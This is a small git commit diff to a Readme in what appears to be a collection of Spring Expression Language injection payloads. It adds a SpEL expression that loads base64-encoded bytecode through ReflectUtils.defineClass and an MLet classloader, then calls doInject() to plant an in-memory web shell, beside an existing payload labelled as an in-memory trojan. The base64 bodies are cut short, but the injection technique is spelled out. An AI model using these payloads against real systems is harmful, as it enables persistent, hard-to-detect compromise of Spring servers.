Update Readme.md

Firebasky · web-flow · commit 7bed13897db5 · 2022-03-09T13:06:15.000+08:00
diff --git a/shell/SPEL/Readme.md b/shell/SPEL/Readme.md
@@ -43,6 +43,8 @@ T(org.springframework.util.SerializationUtils).deserialize(T(com.sun.org.apache.
 //内存木马 回显
 T(org.springframework.cglib.core.ReflectUtils).defineClass('Singleton',T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('yv66vgAAADIAtQ....'),T(org.springframework.util.ClassUtils).getDefaultClassLoader())
 
+#{T(org.springframework.cglib.core.ReflectUtils).defineClass('Memshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA....'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()}
+
 
 echo
 
